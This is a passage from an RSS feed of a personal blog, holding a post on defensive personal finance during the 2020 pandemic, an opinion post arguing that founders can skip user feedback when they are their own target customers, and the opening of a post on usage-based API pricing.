&lt;p>And while the best time to put together a defensive personal finance strategy is when you&amp;rsquo;re in a strong financial position, it&amp;rsquo;s never too late to start playing defense, de-risk your life, and strengthen your financial foundation.&lt;/p>
&lt;p>Since we&amp;rsquo;re in the middle of a worldwide crisis at the moment, there&amp;rsquo;s never been a better time to get a grasp over your finances and start making changes that will allow you to prosper regardless of what&amp;rsquo;s going on in the world.&lt;/p>
&lt;h2 id="take-stock-of-your-finances">Take Stock of Your Finances&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2020/defensive-finance-in-a-downturn/radiation-mask-sketch.png" alt="Radiation Mask Sketch" title="Radiation Mask Sketch">
&lt;/p>
&lt;p>The first step in building a financial plan is to take stock of where you&amp;rsquo;re currently at. You can&amp;rsquo;t make good financial decisions if you have no idea what your overall financial situation is.&lt;/p>
&lt;p>If you&amp;rsquo;re making 50k per year and are 50k in debt, your plan is going to look a hell of a lot different than someone who&amp;rsquo;s making 50k per year and has no debt, for example.&lt;/p>
&lt;p>If you aren&amp;rsquo;t already tracking how much money you&amp;rsquo;re spending and saving, the first thing I&amp;rsquo;d recommend you do is create a free account on either &lt;a href="https://www.mint.com" title="Mint">mint&lt;/a> or &lt;a href="https://www.personalcapital.com/" title="Personal Capital">Personal Capital&lt;/a>. Both of these free services let you hook up your bank accounts, credit card accounts, investment accounts, loan accounts, etc., so you can track how much money you have coming in and out, what you&amp;rsquo;re spending, and what your net worth is.&lt;/p>
&lt;p>Once you&amp;rsquo;ve got all your data synced, the next thing you&amp;rsquo;ll want to do is look back over the last 30 days or so of expenses and write down:&lt;/p>
&lt;ul>
&lt;li>How much money you have coming in every month&lt;/li>
&lt;li>How much money you have going out every month&lt;/li>
&lt;/ul>
&lt;p>These two numbers are important to know: how much you&amp;rsquo;re &lt;em>making&lt;/em> and how much you&amp;rsquo;re &lt;em>spending&lt;/em>. You should &lt;em>always&lt;/em> know what these numbers are. Your goal should be to &lt;strong>always spend less than you make&lt;/strong>. If you notice yourself spending more than you make in a month, warning shots should be going off in your head.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: I recommend logging into your finance tracking app once every week and checking to see how much you&amp;rsquo;ve spent. It&amp;rsquo;s a great way to stay conscious of your spending habits and allows you to be more thoughtful with your resources. I&amp;rsquo;ve noticed that when I don&amp;rsquo;t do this, I end up spending money without even realizing it.&lt;/p>
&lt;p>The next thing you&amp;rsquo;ll need to do is look through every purchase you&amp;rsquo;ve made in the last 30 days and categorize them.&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Essential expenses.&lt;/strong> These are things you absolutely cannot live without. This includes things like grocery bills, electricity and gas, and rent/mortgage payments.&lt;/li>
&lt;li>&lt;strong>Obligations.&lt;/strong> These are outstanding debts that you are obligated to make payments on. These could be things like credit card minimum payments, student loan payments, car payments, etc.&lt;/li>
&lt;li>&lt;strong>Luxury expenses.&lt;/strong> These are essentially everything else: Netflix, fast food, electronics, internet, video games, etc.&lt;/li>
&lt;/ul>
&lt;p>Once you&amp;rsquo;ve categorized your expenses into the three categories above, tally them up. This will give you some useful information, namely:&lt;/p>
&lt;ul>
&lt;li>How much money do you need coming in every month to &lt;em>survive&lt;/em>? This is your &amp;ldquo;survival&amp;rdquo; burn rate. This is the minimum amount of money you need to make every month to stay alive.&lt;/li>
&lt;li>How much money do you need to &lt;em>stay current&lt;/em>? This is the amount of money you need to not only survive but also pay the minimum on all your debts, loans, etc. While it is possible to not pay these things in a pinch, this isn&amp;rsquo;t something you want to do if you can avoid it.&lt;/li>
&lt;li>How much money do you need to keep up your current lifestyle? This is the amount of money you need to keep living like you are now.&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;ve been tracking my finances this way for many years now. Always knowing your various burn rates is incredibly useful. It gives me a good idea of what I need to earn and helps me put things in perspective.&lt;/p>
&lt;p>My wife and I, for example, could live off as little as ~1.5k per month if we &lt;em>had to&lt;/em>. It wouldn&amp;rsquo;t be a great lifestyle, but we could make it work. Even if your number is large, knowing what you &lt;em>need&lt;/em> to earn to survive is essential when designing a defensive finance plan.&lt;/p>
&lt;h2 id="build-an-emergency-fund">Build an Emergency Fund&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2020/defensive-finance-in-a-downturn/ambulance.png" alt="Ambulance" title="Ambulance">
&lt;/p>
&lt;p>Once you&amp;rsquo;ve figured out where your finances are at you need to build an &lt;em>emergency fund&lt;/em>. This is a pile of money that should cover your expenses for no less than 6 months. For example, if you are currently spending 5k per month, your emergency fund should be no less than 30k.&lt;/p>
&lt;p>The idea here is that if you lose all your income, you should be able to survive like you are currently for 6 months: enough time to find a new job, reduce your expenditures, etc.&lt;/p>
&lt;p>If you already have money set aside to cover at least 6 months of expenses: congratulations, you&amp;rsquo;re in a great spot! Don&amp;rsquo;t have a 6-month emergency fund yet? &lt;em>Don&amp;rsquo;t panic.&lt;/em> There&amp;rsquo;s no better time than &lt;em>right now&lt;/em> to get started. Having an emergency fund is &lt;strong>absolutely essential&lt;/strong>, especially in times of economic uncertainty.&lt;/p>
&lt;p>If you&amp;rsquo;re worried you might lose a job or have to take a pay cut, your number one goal should be to &lt;em>cut your expenses&lt;/em> as much as possible in the short term and start piling up cash so in the event something bad happens you&amp;rsquo;ll have some wiggle room.&lt;/p>
&lt;p>Let&amp;rsquo;s say, for example, you make 60k per year (after-tax) and spend 36k. This means that each month you bring home 5k and spend 3k. In this scenario, your emergency fund should be at least 18k (3 * 6). If you&amp;rsquo;re able to save 2k per month out of your 5k salary, that means that it will take you ~9 months to build up that emergency fund from zero.&lt;/p>
&lt;p>This is why it&amp;rsquo;s so critical you get started right away. Saving that much money can take a while, but it&amp;rsquo;s absolutely worth it. Having a 6-month buffer can mean the difference between incurring a massive amount of debt or being mostly unaffected in the event of a job loss, medical expense, etc. Having the ability to survive for 6 months without work is incredibly empowering.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: You should never invest your emergency fund. It should be kept in a high-yield savings account you can access easily if necessary. Putting your emergency fund into investments like stock, bonds, etc., is a risky proposition because if the value of that investment drops, you now have less of a buffer if you need it.&lt;/p>
&lt;p>For the last few years, my wife and I have maintained a 1-year emergency fund. This is a very conservative amount but lets us sleep well at night knowing we don&amp;rsquo;t have to worry about job loss, economic instability, etc.&lt;/p>
&lt;p>Recently, with the virus pandemic causing so much uncertainty, my wife and I decided to double our personal emergency fund. We&amp;rsquo;ve now got a 2-year emergency fund sitting around, which lets us continue to sleep well at night knowing that even if this pandemic causes massive economic turmoil, we&amp;rsquo;ll be OK.&lt;/p>
&lt;p>If saving up a year (or two years) worth of expenses sounds daunting to you, just keep in mind that the less you &lt;em>need to live&lt;/em>, the faster you can save. For example, if you earn 50k per year and spend 40k per year, saving a 1-year emergency fund is going to take a long time. But if you make 100k a year and still &lt;em>only spend 40k&lt;/em>, you&amp;rsquo;ll be able to save a 1-year emergency fund substantially faster.&lt;/p>
&lt;h2 id="reduce-lifestyle-expenses">Reduce Lifestyle Expenses&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2020/defensive-finance-in-a-downturn/relaxing-sketch.png" alt="Relaxing Sketch" title="Relaxing Sketch">
&lt;/p>
&lt;p>Regardless of whether you&amp;rsquo;ve got an emergency fund or not, the next thing you&amp;rsquo;ll want to do as part of your defensive financial plan is reduce lifestyle expenses.&lt;/p>
&lt;p>Go through all the non-essential expenses you&amp;rsquo;ve made in the last month or so and figure out where you can safely cut back. For example, if you were paying $500 a month for an expensive gym membership that you can no longer use during the coronavirus pandemic, now would be a good time to cancel or temporarily pause that membership.&lt;/p>
&lt;p>If you have subscriptions to Netflix, Hulu, Amazon Prime Video, and HBO, why not pick your favorite service and cancel the rest? In a downturn, flexibility is key. By reducing your expenses you are giving yourself the most possible options later on.&lt;/p>
&lt;p>If you can trim a few hundred dollars a month off your existing expenses, that means you can build your emergency fund that much quicker, or invest that much more money during a downturn when the price of investments is lower.&lt;/p>
&lt;p>At this point in time, my wife and I have cut back substantially on our non-essential spending. We&amp;rsquo;ve canceled all travel expenditures, almost all of our restaurant spending, and the majority of our shopping expenditures. This month we&amp;rsquo;ll likely spend around 1.5k less than usual, which is a fair amount of money for us.&lt;/p>
&lt;h2 id="reduce-liabilities">Reduce Liabilities&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2020/defensive-finance-in-a-downturn/plague-doctor-sketch.png" alt="Plague Doctor Sketch" title="Plague Doctor Sketch">
&lt;/p>
&lt;p>Now that you&amp;rsquo;ve cut your non-essential expenses down as much as you can without adding too much pain to your life, it&amp;rsquo;s time to reduce your liabilities.&lt;/p>
&lt;p>If you have a mortgage payment, car payments, student loan payments, credit card payments, etc., those are all considered &lt;em>liabilities&lt;/em>. Having to make payments to someone else puts you in a vulnerable position for a few reasons:&lt;/p>
&lt;ol>
&lt;li>It increases your monthly burn rate, meaning you need to save a much larger emergency fund to accommodate your payments&lt;/li>
&lt;li>It reduces the amount of money you can save per month&lt;/li>
&lt;li>In increases your risk. If you lose your job or are only able to earn a fraction of what you are earning today, having to make debt payments will increase your stress, decrease your flexibility, and put you more at risk of needing to take extreme measures to stay afloat.&lt;/li>
&lt;/ol>
&lt;p>If you&amp;rsquo;ve got an emergency fund ready to go and are still working and able to save money each month, you should start pouring all your extra money into paying down your smallest debts first (this is called the &lt;a href="https://en.wikipedia.org/wiki/Debt-snowball_method" title="Debt Snowball Method">debt snowball&lt;/a> method).&lt;/p>
&lt;p>The reason I believe paying down the smallest debt first is a good idea (especially in an economic downturn where nothing is certain) is that by paying off your smallest debts first you&amp;rsquo;ll be able to reduce your monthly minimum payments, thereby buying you additional flexibility if you need it.&lt;/p>
&lt;p>For example, if you have:&lt;/p>
&lt;ul>
&lt;li>A mortgage loan for 100k at 4% interest&lt;/li>
&lt;li>A student loan for 10k at 7% interest&lt;/li>
&lt;li>Credit card debt of 5k at 15% interest&lt;/li>
&lt;li>A personal loan of 10k at 20% interest&lt;/li>
&lt;/ul>
&lt;p>Even though mathematically it would make the most sense to pay down your highest interest loan first (the personal loan at 20% interest), if you can quickly pay off the 5k worth of credit card debt &lt;em>first&lt;/em> you&amp;rsquo;ll free up a few hundred dollars a month, thereby reducing your burn rate and making your emergency fund more effective.&lt;/p>
&lt;p>Again, flexibility is key here. Paying off debt and reducing the amount of money you &lt;em>need&lt;/em> to pay other people will give you more options in tough economic circumstances.&lt;/p>
&lt;p>I&amp;rsquo;ve written about &lt;a href="https://rdegges.com/2020/my-personal-financial-strategy/" title="My Personal Financial Strategy">this before&lt;/a>, but my wife and I have no debt. We made the decision a while back to eliminate all the debt in our life while we were able to in order to ensure we&amp;rsquo;d be OK in the event of a major financial crisis.&lt;/p>
&lt;p>The thought of &lt;em>needing&lt;/em> to make large mortgage payments, car payments, etc., stresses me out. If you can avoid debt or are able to pay yours down, I strongly recommend it. The peace of mind it brings is absolutely worth the struggle and sacrifice it takes to pay it off.&lt;/p>
&lt;h2 id="keep-earning-income">Keep Earning Income&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2020/defensive-finance-in-a-downturn/programmer-sketch.png" alt="Programmer Sketch" title="Programmer Sketch">
&lt;/p>
&lt;p>Once you&amp;rsquo;ve reduced spending and started an emergency fund it&amp;rsquo;s time to focus on &lt;em>staying employed&lt;/em>.&lt;/p>
&lt;p>In a financial downturn like the one we&amp;rsquo;re currently experiencing, employment is not guaranteed. Companies are shutting down and &lt;a href="https://jacobian.org/2020/mar/13/layoffs-are-coming/" title="Layoffs Are Coming">layoffs are coming&lt;/a>.&lt;/p>
&lt;p>Probably the &lt;em>single most important thing you can do&lt;/em> in a downturn is to &lt;strong>keep earning income&lt;/strong>. As long as you are able to keep money coming in, you&amp;rsquo;ll be ok.&lt;/p>
&lt;p>Here are some of my suggestions to keep earning money even in terrible economic conditions.&lt;/p>
&lt;p>First off, &lt;strong>work hard&lt;/strong>. There&amp;rsquo;s no substitute for hard work. If you work hard and do the best job you can, your employer will recognize that. In the event they do need to lay people off, you&amp;rsquo;ll be at the bottom of the list.&lt;/p>
&lt;p>Next, &lt;strong>be essential&lt;/strong>. Every company has essential people. Similar to working hard, being so great that you&amp;rsquo;re an essential part of the business provides some level of job stability. If you&amp;rsquo;re a core developer helping to keep the business running, for example, you&amp;rsquo;re going to have far more job stability than someone working on a new, experimental project that doesn&amp;rsquo;t generate revenue.&lt;/p>
&lt;p>Even if you&amp;rsquo;re in a role that isn&amp;rsquo;t core to the business, there are many ways to make yourself essential: show value, understand the business and how you contribute and push for positive change to help improve the bottom line when possible.&lt;/p>
&lt;p>&lt;strong>Pick up extra shifts/side work/freelance jobs.&lt;/strong> If you&amp;rsquo;re in a position where you can legally and reasonably do additional work to make extra money, now&amp;rsquo;s the time to get started. Diversifying your dependence on a primary job and making a little extra money can be a great way to reduce risk.&lt;/p>
&lt;p>If you get laid off and have no other prospects, finding work in a job market where you have a massive amount of competition with other job seekers can be difficult. But… If you get laid off and already have some side work/freelancing jobs/etc., you&amp;rsquo;ll at least have some money coming in to help offset your expenses.&lt;/p>
&lt;p>And, if you do get laid off, &lt;strong>update your resume and start applying for jobs right away&lt;/strong>. Unemployment is at the highest level in the US right now &lt;a href="https://www.nytimes.com/2020/04/03/upshot/coronavirus-jobless-rate-great-depression.html" title="Coronavirus Jobless Rate vs Great Depression">since the great depression&lt;/a>. That means there are &lt;em>millions&lt;/em> of other people looking for work right now. If you get laid off, start looking for something new immediately. Don&amp;rsquo;t wait. The faster you get back into the workforce, the less you need to worry. But whatever you do, don&amp;rsquo;t wait.&lt;/p>
&lt;p>Again, the key is to &lt;strong>keep working&lt;/strong>. If you do get laid off and aren&amp;rsquo;t able to find a similar job quickly, don&amp;rsquo;t wait around forever &amp;ndash; find work doing &lt;em>something&lt;/em> so you can keep bringing in money to stabilize yourself. Having a little money coming in is a lot better than having no money coming in.&lt;/p>
&lt;h2 id="take-advantage-of-opportunities">Take Advantage Of Opportunities&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2020/defensive-finance-in-a-downturn/scientist-sketch.jpg" alt="Scientist Sketch" title="Scientist Sketch">
&lt;/p>
&lt;p>If you&amp;rsquo;ve already done everything else we&amp;rsquo;ve discussed above, you&amp;rsquo;re in an ideal situation. You have an emergency fund, no debt, and you&amp;rsquo;re spending less than you make. This puts you in rare company.&lt;/p>
&lt;p>If you&amp;rsquo;re at this point, part of your defensive personal finance strategy should be to take advantage of opportunities as they arise. There are many ways to do this, here are just a few:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Start a company that serves a clear and present need.&lt;/strong> Right now, for example, there are tons of distilleries around the country who&amp;rsquo;ve shifted from manufacturing spirits to hand sanitizer. There are always opportunities in financial downturns, so keep your eyes open for ones that make sense.&lt;/li>
&lt;li>&lt;strong>Invest in the markets.&lt;/strong> There&amp;rsquo;s no better time to invest in the market than during a downturn because you&amp;rsquo;re purchasing assets at a discount. Buy stock regularly and hold onto it. When the markets eventually bounce back, you&amp;rsquo;ll get a great return.&lt;/li>
&lt;li>&lt;strong>Look for asset acquisition opportunities.&lt;/strong> Outside of the markets, there are many other types of assets you can purchase: rental properties, small businesses, etc. In financial downturns, it isn&amp;rsquo;t uncommon for property owners to sell properties at a discount (if they need money now), and the same is true for businesses.&lt;/li>
&lt;/ul>
&lt;p>What Sami and I are doing today is the following:&lt;/p>
&lt;ul>
&lt;li>We&amp;rsquo;re investing 50% of our monthly savings into index funds&lt;/li>
&lt;li>We&amp;rsquo;re taking the other 50% and stockpiling it as we look for opportunities&lt;/li>
&lt;/ul>
&lt;p>Right now, we&amp;rsquo;re looking to purchase rental properties (if the prices drop, which I suspect they will) as well as potentially a franchise business. Due to the forced closure of so many companies, there are already lots of businesses being put up for sale at steep discounts.&lt;/p>
&lt;p>I&amp;rsquo;m currently conducting due diligence on a few potential opportunities which I&amp;rsquo;m hoping will work out.&lt;/p>
&lt;p>The main thing to keep in mind is that there are &lt;em>always&lt;/em> opportunities. By having a sufficient emergency fund, no debt, and spending less than you make, you&amp;rsquo;re putting yourself in a strong situation where you can take advantage of the opportunities you come across.&lt;/p>
&lt;h2 id="go-on-the-defensive">Go on the Defensive&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2020/defensive-finance-in-a-downturn/doctor-in-ppe-sketch.png" alt="Doctor in PPE Sketch" title="Doctor in PPE Sketch">
&lt;/p>
&lt;p>During a downturn, you need to start playing better defense. Reduce your spending, have a reasonable cash buffer so you can weather short bouts of unemployment, pay down your debts, focus on staying employed, and look for good opportunities.&lt;/p>
&lt;p>The current coronavirus pandemic is causing pain for everyone: job losses, economic turmoil, sickness, and death&amp;ndash;but by being conscious of your spending and building a defensive plan, you&amp;rsquo;ll be able to pull through in even the most difficult times.&lt;/p>
&lt;p>It doesn&amp;rsquo;t matter where you&amp;rsquo;re at now, it only matters where you&amp;rsquo;re going. Stay healthy and hang in there.&lt;/p></description></item><item><title>Don't Waste Time Getting Feedback</title><link>https://rdegges.com/2020/dont-waste-time-getting-feedback/</link><pubDate>Sun, 05 Apr 2020 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2020/dont-waste-time-getting-feedback/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2020/dont-waste-time-getting-feedback/hourglass.gif" alt="Hourglass" title="Hourglass">
&lt;/p>
&lt;p>Time is valuable. In fact, time is the single most valuable thing any of us have. That&amp;rsquo;s why I think it&amp;rsquo;s so important not to waste time &lt;em>if you don&amp;rsquo;t have to&lt;/em>. Every second you waste working on something unnecessary is &lt;em>literally&lt;/em> cannibalizing your life.&lt;/p>
&lt;p>Over the span of my professional career, I&amp;rsquo;ve spent the vast majority of my time building developer services at small companies (including my own). I&amp;rsquo;ve also had the opportunity to meet, work with, and advise other developer-focused businesses.&lt;/p>
&lt;p>But through all my experience working with businesses building developer products and services, there&amp;rsquo;s always been something that&amp;rsquo;s annoyed me: user feedback.&lt;/p>
&lt;h2 id="why-companies-use-user-feedback-to-drive-product">Why Companies Use User Feedback to Drive Product&lt;/h2>
&lt;p>If you wanted to start a new online business today, what would you do? I suspect that you&amp;rsquo;d most likely:&lt;/p>
&lt;ul>
&lt;li>Plan out what you want to build&lt;/li>
&lt;li>Draw up some sketches of what the product should look like and how the functionality should work&lt;/li>
&lt;li>Build a simple minimum viable product&lt;/li>
&lt;li>Show it to users and get feedback so you don&amp;rsquo;t waste my time building unnecessary stuff or something users won&amp;rsquo;t like&lt;/li>
&lt;li>Iterate&lt;/li>
&lt;/ul>
&lt;p>If you&amp;rsquo;re anything like me, the steps above seem fairly reasonable. After all &amp;ndash; if you&amp;rsquo;re building something you intend people to use, you wouldn&amp;rsquo;t want to waste thousands of hours creating something your users won&amp;rsquo;t like.&lt;/p>
&lt;p>It makes sense that you&amp;rsquo;d start small, get some feedback, and iterate what you&amp;rsquo;re working on to maximize your chances of being successful: whether that&amp;rsquo;s selling a product, getting users, or whatever it is you&amp;rsquo;re trying to optimize for (which is very much the &lt;a href="https://amzn.to/38yCjpT" title="Lean Startup">Lean Startup&lt;/a> way).&lt;/p>
&lt;p>The reason companies rely so heavily on user feedback to drive product decisions and resource allocation is because &lt;em>it works&lt;/em>. Regardless of what you&amp;rsquo;re building, you&amp;rsquo;ve got to make sure your product is appealing to your userbase. If it isn&amp;rsquo;t, you&amp;rsquo;re wasting precious time.&lt;/p>
&lt;p>But… What would you say if I told you that you didn&amp;rsquo;t &lt;em>need&lt;/em> to constantly conduct user research? What if you could build a product that you &lt;em>know&lt;/em> your users are going to love, even without ever talking to them?&lt;/p>
&lt;p>If you had a 100% guarantee that the thing you&amp;rsquo;re building is exactly what your users want, would that allow you to move faster? Instead of needing to talk to people, run A/B tests, send out email surveys, etc., you could focus on the most important thing: continuing to build and evolve your service to make it more attractive to your userbase.&lt;/p>
&lt;p>Sound too good to be true? It isn&amp;rsquo;t!&lt;/p>
&lt;h2 id="why-you-dont-need-user-feedback-to-build-a-successful-product">Why You Don&amp;rsquo;t Need User Feedback to Build a Successful Product&lt;/h2>
&lt;p>The simple secret to building a successful product &lt;em>quickly&lt;/em> is to build products for people &lt;em>like you&lt;/em>.&lt;/p>
&lt;p>If you&amp;rsquo;re a developer and you&amp;rsquo;re building a Postgres hosting service, for example, you don&amp;rsquo;t need to rely on user feedback to make a great product because &lt;em>you already know what the ideal version of your product looks like!&lt;/em> &lt;strong>You&lt;/strong> are the target user!&lt;/p>
&lt;p>That&amp;rsquo;s one of the reasons I love building developer services: I&amp;rsquo;m a developer and I build things that &lt;em>I&lt;/em> want to use.&lt;/p>
&lt;p>If you&amp;rsquo;re already the target customer of your product, you don&amp;rsquo;t need to waste any time tracking down other developers to get their feedback or insight: just build your service and continue improving it as quickly as possible.&lt;/p>
&lt;p>Doing things this way puts you at a massive advantage over your competitors because you don&amp;rsquo;t need to waste time collecting feedback, having product strategy meetings, etc., all you need to do is build what you &lt;em>already know&lt;/em> is a winning product and start selling.&lt;/p>
&lt;h2 id="what-successful-products-look-like">What Successful Products Look Like&lt;/h2>
&lt;p>Successful products are often built by (and led) by experts in the field. &lt;a href="https://www.twilio.com/" title="Twilio">Twilio&lt;/a>, for example, was founded by &lt;a href="https://twitter.com/jeffiel" title="Jeff Lawson on Twitter">Jeff Lawson&lt;/a>, &lt;a href="https://twitter.com/emcooke" title="Evan Cooke on Twitter">Evan Cooke&lt;/a>, and &lt;a href="https://twitter.com/thuddwhirr" title="John Wolthuis on Twitter">John Wolthuis&lt;/a> &amp;ndash; three incredibly talented engineers who had years of experience as developers services before ever starting the company.&lt;/p>
&lt;p>&lt;a href="https://www.heroku.com/" title="Heroku">Heroku&lt;/a>&amp;rsquo;s another great example, they were founded by three developers who were already extremely familiar with the problems they were solving: James Lindenbaum, &lt;a href="https://twitter.com/hirodusk" title="Adam Wiggins on Twitter">Adam Wiggins&lt;/a>, and &lt;a href="https://twitter.com/orionspeaks" title="Orion Henry on Twitter">Orion Henry&lt;/a>.&lt;/p>
&lt;p>It&amp;rsquo;s the same story with just about every amazing developer-focused product I can think of: &lt;a href="https://stripe.com/" title="Stripe">Stripe&lt;/a>, &lt;a href="https://github.com/" title="GitHub">GitHub&lt;/a>, etc.&lt;/p>
&lt;p>While I have no first-hand knowledge of how these companies were founded and what went on behind the scenes, I&amp;rsquo;m willing to be that in each case the founding team knew exactly what they wanted to build, which is partially why they succeeded: they had a strong vision, understood the problems their customers had well, and quickly built solutions that &lt;em>they would use themselves&lt;/em>.&lt;/p>
&lt;p>While you don&amp;rsquo;t &lt;em>need&lt;/em> to be an expert in your business domain, it certainly helps. If you already know all the problems your customers face and exactly what they need to be successful, you can skip all the trial-and-error most startups go through, avoid wasting time (and money), and ship solutions much faster than you&amp;rsquo;d be able to otherwise.&lt;/p>
&lt;h2 id="dont-waste-time">Don&amp;rsquo;t Waste Time&lt;/h2>
&lt;p>If you&amp;rsquo;re starting a business, there&amp;rsquo;s no reason why you need to get user feedback if you already have a deep understanding of the problem space. Build an MVP, get people using it, and just keep building and selling.&lt;/p>
&lt;p>As your business grows, there will certainly come a time when you might &lt;em>need&lt;/em> to bring in product people to help conduct research and figure out what things to prioritize, but you can safely avoid that expense for a long time if you&amp;rsquo;re already your own target customer.&lt;/p>
&lt;p>The faster you move, the more likely you are to succeed. Spend your time and focus building the product &lt;em>you&lt;/em> need and there&amp;rsquo;s a good chance others will find it useful as well.&lt;/p></description></item><item><title>The Only Type of API Services I'll Use</title><link>https://rdegges.com/2020/the-only-type-of-api-services-ill-use/</link><pubDate>Mon, 17 Feb 2020 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2020/the-only-type-of-api-services-ill-use/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2020/the-only-type-of-api-services-ill-use/lady-justice-sketch.png" alt="Lady Justice Sketch" title="Lady Justice Sketch">
&lt;/p>
&lt;p>I love API services. It still feels &lt;em>magical&lt;/em> each time I query an endpoint and get back some interesting data or cause some complicated functionality to occur.&lt;/p>
&lt;p>I&amp;rsquo;ve built my entire career (and hobbies) around API services. I&amp;rsquo;ve only ever had one job (which only lasted several months) that &lt;em>wasn&amp;rsquo;t&lt;/em> focused on building or working with API services for other developers. To say I am heavily invested in developer services would be an understatement; it&amp;rsquo;s essentially all I do.&lt;/p>
&lt;p>With that being said, over these last ~15 or so years I&amp;rsquo;ve come to develop some strong opinions in regards to API businesses: how they should work, what they should look like, how they should be documented, how they should be priced, etc. And while all of these things can be done differently, there&amp;rsquo;s one thing that I strongly believe all API services should do, and it&amp;rsquo;s so important that if an API service doesn&amp;rsquo;t do it, I refuse to use it. And that thing is &lt;em>usage-based pricing with automatic volume discounts&lt;/em>.&lt;/p>
&lt;h2 id="why-i-love-usage-based-pricing">Why I Love Usage-Based Pricing&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2020/the-only-type-of-api-services-ill-use/sand-clock-sketch.png" alt="Sand Clock Sketch" title="Sand Clock Sketch">
&lt;/p>
&lt;p>Usage-based pricing with automatic volume discounts is the only pricing model I believe API services should adopt. The concept is simple: the amount a customer pays for using an API service should depend on how much they use the service.&lt;/p>
&lt;p>For example, if you&amp;rsquo;re building an API service that stores data, you should price your service so that customers pay for the amount of data they store with you. Maybe you charge &lt;strong>$0.01&lt;/strong> per gigabyte (up to 1TB), &lt;strong>$0.001&lt;/strong> per gigabyte (up to 5TB), and &lt;strong>$0.0001&lt;/strong> per gigabyte (for anything above 5TB).&lt;/p>
&lt;p>I like this pricing model because:&lt;/p>
&lt;ul>
&lt;li>The more a customer uses your service, the more money you make&lt;/li>
&lt;li>If a customer is getting value out of your service, it&amp;rsquo;s only natural their usage will increase, thereby increasing the amount of money you make&lt;/li>
&lt;li>If a customer decreases their usage of your service, you&amp;rsquo;ll make less money and the customer will get less value from your service&lt;/li>
&lt;/ul>
&lt;p>But the most important reason I like this pricing model is that &lt;strong>it heavily incentivizes both the customer and the service provider to act in everyone&amp;rsquo;s best interest&lt;/strong>.&lt;/p>
&lt;p>When API services have a usage-based pricing model, the service provider is &lt;em>strongly incentivized&lt;/em> to improve their service (add features, improve stability, improve documentation, improve user experience, etc.) because they need to do whatever they possibly can to convince their customers to use their service more.&lt;/p>
&lt;p>If your business relies on charging customers $0.01 for sending an SMS message, then you&amp;rsquo;re going to make sure that:&lt;/p>
&lt;ul>
&lt;li>Your service has a high amount of uptime (otherwise each second you&amp;rsquo;re down you&amp;rsquo;re missing out on revenue potential)&lt;/li>
&lt;li>Your service can support a high amount of throughput (otherwise you won&amp;rsquo;t be able to earn as much revenue if you can&amp;rsquo;t service the amount of usage customers demand)&lt;/li>
&lt;li>Your service has a high deliverability rate (because if you aren&amp;rsquo;t able to deliver those SMS messages for customers then you aren&amp;rsquo;t getting paid)&lt;/li>
&lt;li>Your service has great developer libraries and documentation (otherwise you won&amp;rsquo;t be able to grow the usage of your service as much since integrating will be difficult for customers)&lt;/li>
&lt;li>Your service is actually providing value to your customers (otherwise they won&amp;rsquo;t increase their usage of your service over time)&lt;/li>
&lt;/ul>
&lt;p>On the customer side, usage-based pricing also incentivizes good behavior:&lt;/p>
&lt;ul>
&lt;li>The more customers use your service, the more value they get&lt;/li>
&lt;li>If customers increase their usage of your service, they get a better deal (automatic volume discounts)&lt;/li>
&lt;li>If customers reduce their usage of your service, they get a worse deal (automatic volume discounts)&lt;/li>
&lt;/ul>
&lt;p>Usage-based pricing with automatic volume discounting incentivizes both parties to grow and win &lt;em>together&lt;/em>. Neither party is in an adversarial position with the other.&lt;/p>
&lt;p>With usage-based pricing models, customers feel like they are getting a good deal because they&amp;rsquo;re paying for exactly what they use. They aren&amp;rsquo;t getting &amp;ldquo;ripped off&amp;rdquo; by paying for something they aren&amp;rsquo;t using. In fact, the more customers use your service, the cheaper it gets for them (automatic volume discounts)!&lt;/p>
&lt;p>For service-providers, usage-based pricing can also be great because it gives companies a clear and measurable way to grow their business: &lt;em>increase usage&lt;/em>. This means that companies can focus on the most important thing (the product) as opposed to hundreds of other metrics companies tend to obsess over that detract from focusing on the service.&lt;/p>
&lt;h2 id="problems-with-other-pricing-models">Problems With Other Pricing Models&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2020/the-only-type-of-api-services-ill-use/grim-reaper-sketch.png" alt="Grim Reaper Sketch" title="Grim Reaper Sketch">
&lt;/p>
&lt;p>I&amp;rsquo;ve seen lots of pricing models for API services, but there are only two I&amp;rsquo;d like to discuss with you today: &lt;em>bucket-based&lt;/em> and &lt;em>enterprise&lt;/em> (otherwise known as &lt;em>contact-us&lt;/em>). These are the two pricing models I most frequently see used by API vendors.&lt;/p>
&lt;h3 id="problems-with-bucket-based-pricing">Problems With Bucket-Based Pricing&lt;/h3>
&lt;p>&lt;img src="https://rdegges.com/2020/the-only-type-of-api-services-ill-use/bucket-sketch.png" alt="Bucket Sketch" title="Bucket Sketch">
&lt;/p>
&lt;p>Bucket-based pricing is when you charge customers a set amount of money to purchase credits for your service.&lt;/p>
&lt;p>For example, imagine you run an SMS-sending API and you have three pricing tiers available:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>$10/mo&lt;/strong>: which lets customers send up to 1,000 SMS messages&lt;/li>
&lt;li>&lt;strong>$50/mo&lt;/strong>: which lets customers send up to 5,000 SMS messages&lt;/li>
&lt;li>&lt;strong>$100/mo&lt;/strong>: which lets customers send up to 10,000 SMS messages&lt;/li>
&lt;/ul>
